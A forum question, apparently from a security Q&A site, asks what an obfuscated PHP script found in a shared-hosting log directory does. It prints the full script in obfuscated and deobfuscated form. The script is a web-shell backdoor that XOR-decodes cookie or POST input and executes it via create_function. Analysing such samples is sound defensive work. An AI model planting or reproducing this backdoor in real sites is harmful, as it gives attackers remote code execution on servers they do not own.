0

I found an obfuscated PHP-script in a log directory on a shared hosting, which had been given chmod 0777 by mistake.

The script in it's original form looks like this:

$zowyb = 'i#7uH0_ls5y4m*bcrovaptf-8d1x69\'3egkn';
$hifcq = array();
$hifcq[] = $zowyb[4] . $zowyb[13];
$hifcq[] = $zowyb[15] . $zowyb[16] . $zowyb[32] . $zowyb[19] . $zowyb[21] . $zowyb[32] . $zowyb[6] . $zowyb[22] . $zowyb[3] . $zowyb[35] . $zowyb[15] . $zowyb[21] . $zowyb[0] . $zowyb[17] . $zowyb[35];
$hifcq[] = $zowyb[19] . $zowyb[25] . $zowyb[24] . $zowyb[26] . $zowyb[32] . $zowyb[31] . $zowyb[5] . $zowyb[22] . $zowyb[23] . $zowyb[5] . $zowyb[14] . $zowyb[14] . $zowyb[15] . $zowyb[23] . $zowyb[11] . $zowyb[19] . $zowyb[9] . $zowyb[25] . $zowyb[23] . $zowyb[19] . $zowyb[24] . $zowyb[2] . $zowyb[26] . $zowyb[23] . $zowyb[9] . $zowyb[24] . $zowyb[5] . $zowyb[22] . $zowyb[22] . $zowyb[19] . $zowyb[32] . $zowyb[11] . $zowyb[22] . $zowyb[28] . $zowyb[29] . $zowyb[11];
$hifcq[] = $zowyb[1];
$hifcq[] = $zowyb[15] . $zowyb[17] . $zowyb[3] . $zowyb[35] . $zowyb[21];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[6] . $zowyb[16] . $zowyb[32] . $zowyb[20] . $zowyb[32] . $zowyb[19] . $zowyb[21];
$hifcq[] = $zowyb[32] . $zowyb[27] . $zowyb[20] . $zowyb[7] . $zowyb[17] . $zowyb[25] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[3] . $zowyb[14] . $zowyb[8] . $zowyb[21] . $zowyb[16];
$hifcq[] = $zowyb[19] . $zowyb[16] . $zowyb[16] . $zowyb[19] . $zowyb[10] . $zowyb[6] . $zowyb[12] . $zowyb[32] . $zowyb[16] . $zowyb[33] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[7] . $zowyb[32] . $zowyb[35];
$hifcq[] = $zowyb[20] . $zowyb[19] . $zowyb[15] . $zowyb[34];

foreach ($hifcq[8]($_COOKIE, $_POST) as $kojedg => $pbqug) {
    function vztqy($hifcq, $kojedg, $cbdwnpb)
    {
        return $hifcq[7]($hifcq[5]($kojedg . $hifcq[2], ($cbdwnpb / $hifcq[9]($kojedg)) + 1), 0, $cbdwnpb);
    }

    function rooti($hifcq, $zpqis)
    {
        return @$hifcq[10]($hifcq[0], $zpqis);
    }

    function rosfiks($hifcq, $zpqis)
    {
        $ntuqcs = $hifcq[4]($zpqis) % 3;
        if (!$ntuqcs) {
            $vertdy = $hifcq[1];
            $kisfyo = $vertdy("", $zpqis[1]($zpqis[2]));
            $kisfyo();
            exit();
        }
    }

    $pbqug = rooti($hifcq, $pbqug);
    rosfiks($hifcq, $hifcq[6]($hifcq[3], $pbqug ^ vztqy($hifcq, $kojedg, $hifcq[9]($pbqug))));
}

Running it through unphp.net gave me the code below, which I'm still not sure exactly what it is meant to be doing:

$zowyb = 'i#7uH0_ls5y4m*bcrovaptf-8d1x69\'3egkn';
$hifcq = array();
$hifcq[] = $zowyb[4] . $zowyb[13];
$hifcq[] = $zowyb[15] . $zowyb[16] . $zowyb[32] . $zowyb[19] . $zowyb[21] . $zowyb[32] . $zowyb[6] . $zowyb[22] . $zowyb[3] . $zowyb[35] . $zowyb[15] . $zowyb[21] . $zowyb[0] . $zowyb[17] . $zowyb[35];
$hifcq[] = $zowyb[19] . $zowyb[25] . $zowyb[24] . $zowyb[26] . $zowyb[32] . $zowyb[31] . $zowyb[5] . $zowyb[22] . $zowyb[23] . $zowyb[5] . $zowyb[14] . $zowyb[14] . $zowyb[15] . $zowyb[23] . $zowyb[11] . $zowyb[19] . $zowyb[9] . $zowyb[25] . $zowyb[23] . $zowyb[19] . $zowyb[24] . $zowyb[2] . $zowyb[26] . $zowyb[23] . $zowyb[9] . $zowyb[24] . $zowyb[5] . $zowyb[22] . $zowyb[22] . $zowyb[19] . $zowyb[32] . $zowyb[11] . $zowyb[22] . $zowyb[28] . $zowyb[29] . $zowyb[11];
$hifcq[] = $zowyb[1];
$hifcq[] = $zowyb[15] . $zowyb[17] . $zowyb[3] . $zowyb[35] . $zowyb[21];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[6] . $zowyb[16] . $zowyb[32] . $zowyb[20] . $zowyb[32] . $zowyb[19] . $zowyb[21];
$hifcq[] = $zowyb[32] . $zowyb[27] . $zowyb[20] . $zowyb[7] . $zowyb[17] . $zowyb[25] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[3] . $zowyb[14] . $zowyb[8] . $zowyb[21] . $zowyb[16];
$hifcq[] = $zowyb[19] . $zowyb[16] . $zowyb[16] . $zowyb[19] . $zowyb[10] . $zowyb[6] . $zowyb[12] . $zowyb[32] . $zowyb[16] . $zowyb[33] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[7] . $zowyb[32] . $zowyb[35];
$hifcq[] = $zowyb[20] . $zowyb[19] . $zowyb[15] . $zowyb[34];

foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    function vztqy($hifcq, $key, $cbdwnpb)
    {
        return substr(str_repeat($key . 'ad81e30f-0bbc-4a5d-a871-580ffae4f694', (strlen($value) / strlen($key)) + 1), 0, strlen($value));
    }

    function rooti($zpqis)
    {
        return @pack('H*', $zpqis);
    }

    function rosfiks($hifcq, $zpqis)
    {
        $ntuqcs = count($zpqis) % 3;
        if (!$ntuqcs) {
            $kisfyo = create_function("", $zpqis[1]($zpqis[2]));
            $kisfyo();
            exit();
        }
    }

    $value = rooti($value);
    rosfiks($hifcq, explode('#', $value ^ vztqy($hifcq, $key, strlen($value))));
}

What does this code try to do exactly? And is it a "well known" malicious script, or something the user who placed it there put together him/herself? (I could see the username of the owner account on the shared hosting).

Magnus
  • 223
  • 1
  • 5
  • 1
    Well, for one thing it's going to quickly crash with an error of "Function 'vztqy' already exists." But other than that, odds are that it's going to try and execute a larger payload supplied to it by the attacker as either form data ($_POST) or a cookie. I've played this game before, and the result is generally less interesting than you might hope. – IMSoP Mar 18 '21 at 22:10
  • Unfortunately, we cannot decode random code here. We'd be flooded with random samples. – schroeder Mar 18 '21 at 22:26

0 Answers0